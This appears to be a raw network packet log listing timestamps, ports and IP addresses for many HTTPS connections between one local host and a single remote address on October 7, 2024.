Oct 7, 2024 17:22:50.028127909 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.028148890 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.030508041 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.030539036 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.030594110 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.030735016 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.030745983 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.037666082 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.037698984 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.037750959 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.037765980 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.037795067 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.037893057 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.037909985 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.037920952 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.037925959 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.039978027 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.040010929 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.040086985 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.040194035 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.040203094 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.043587923 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.043670893 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.043715000 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.043771982 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.043781042 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.043798923 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.043803930 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.045742035 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.045793056 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.045859098 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.045967102 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.045979023 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.280385017 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.280874968 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.280925989 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.281367064 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.281373978 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.327111006 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.327147961 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.381943941 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.381967068 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.382013083 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.382152081 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.382152081 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.382358074 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.382385969 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.382401943 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.382409096 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.385281086 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.385327101 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.385411978 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.385582924 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.385601044 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.581814051 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.582361937 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.582381010 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.582859039 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.582864046 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.631514072 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.632586002 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.632607937 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.633049965 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.633054972 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.652329922 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.653506994 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.653522968 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.653898001 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.653903008 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.662080050 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.662441969 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.662503958 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.662787914 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.662802935 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.681180000 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.681200027 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.681268930 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.681274891 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.681504011 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.681521893 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.681521893 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.681534052 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.681540966 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.683913946 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.683980942 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.684076071 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.684206963 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.684221029 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.750214100 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.750358105 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.750658989 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.750875950 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.750875950 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.750901937 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.750911951 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.751245022 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.751267910 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.751312971 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.751362085 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.751691103 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.751709938 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.751728058 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.751734018 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.753845930 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.753909111 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.753931046 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.754005909 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.754096985 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.754225016 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.754225016 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.754257917 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.754287958 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.754292011 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.758882999 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.758899927 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.758965015 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.758986950 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.759042978 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.759097099 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.759167910 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.759167910 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.759193897 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.759217024 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.761116028 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.761137009 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.761255980 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.761382103 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.761409044 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.371758938 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.372366905 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.372389078 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.372849941 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.372858047 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.468588114 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.469084024 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.469619989 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.469656944 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.469656944 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.469679117 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.469690084 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.472148895 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.472198963 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.472310066 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.472424984 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.472440958 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.547009945 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.547219992 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.547425985 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.547436953 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.547637939 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.547661066 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.547909975 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.547913074 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.548095942 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.548100948 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.549314022 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.549582958 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.549624920 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.549932003 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.549945116 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.550314903 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.550525904 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.550533056 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.550827980 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.550832033 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643254042 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643429041 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643482924 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643532991 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643585920 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643611908 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643634081 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643649101 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643657923 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643663883 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643680096 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643692017 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.643745899 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.643752098 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646235943 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646296978 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646356106 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646382093 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646414042 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646471024 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646516085 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646548033 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646564007 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646579027 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646684885 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646727085 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.646792889 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646914959 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.646929979 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647162914 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647192955 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647274017 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647299051 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647336006 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647336006 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647355080 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647355080 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647380114 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647382021 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647499084 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647501945 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.647507906 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.647511005 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.649161100 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649171114 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.649231911 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649259090 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649269104 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.649327040 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649405003 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649418116 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:51.649455070 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:51.649470091 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.121963024 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.122620106 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.122648954 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.123076916 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.123085022 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221560001 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221596003 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221636057 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.221654892 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221671104 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221731901 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.221921921 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.221936941 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.221946001 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.221950054 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.224819899 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.224842072 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.224911928 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.225101948 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.225116014 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.275291920 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.275702000 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.275734901 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.276714087 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.276730061 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.277278900 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.277822018 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.277842045 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.278496981 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.278505087 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.281151056 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.281641006 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.281666040 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.282392025 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.282398939 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.292910099 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.293279886 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.293303967 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.293771982 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.293777943 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.370997906 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.371155977 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.371226072 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.371429920 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.371429920 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.371453047 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.371463060 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374181032 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374253035 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374293089 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374293089 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374376059 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374422073 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374507904 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374516964 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374583006 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374588966 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.374598026 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.374603033 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.376513958 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.376558065 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.376624107 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.376768112 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.376782894 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.390923977 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.390944958 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.390985012 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.391001940 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.391022921 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.391302109 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.391319990 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.391330004 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.391335011 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.392584085 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.393105984 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.393167019 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393214941 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393218994 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.393228054 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393230915 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.393637896 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393656969 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.393711090 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393822908 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.393835068 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.395005941 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.395045996 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.395111084 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.395215988 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.395230055 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.874905109 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.875550985 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.875580072 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.875941038 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.875962973 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.975234985 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.975636005 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.975739956 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.975744963 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.975821972 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.975888014 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.975908041 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.975919962 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.975924969 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.978411913 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.978458881 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:52.978533030 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.978764057 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:52.978780985 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.010531902 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.011195898 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.011220932 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.011651039 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.011657000 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.013128996 CEST	443	49925	13.107.246.60	192.168.2.5
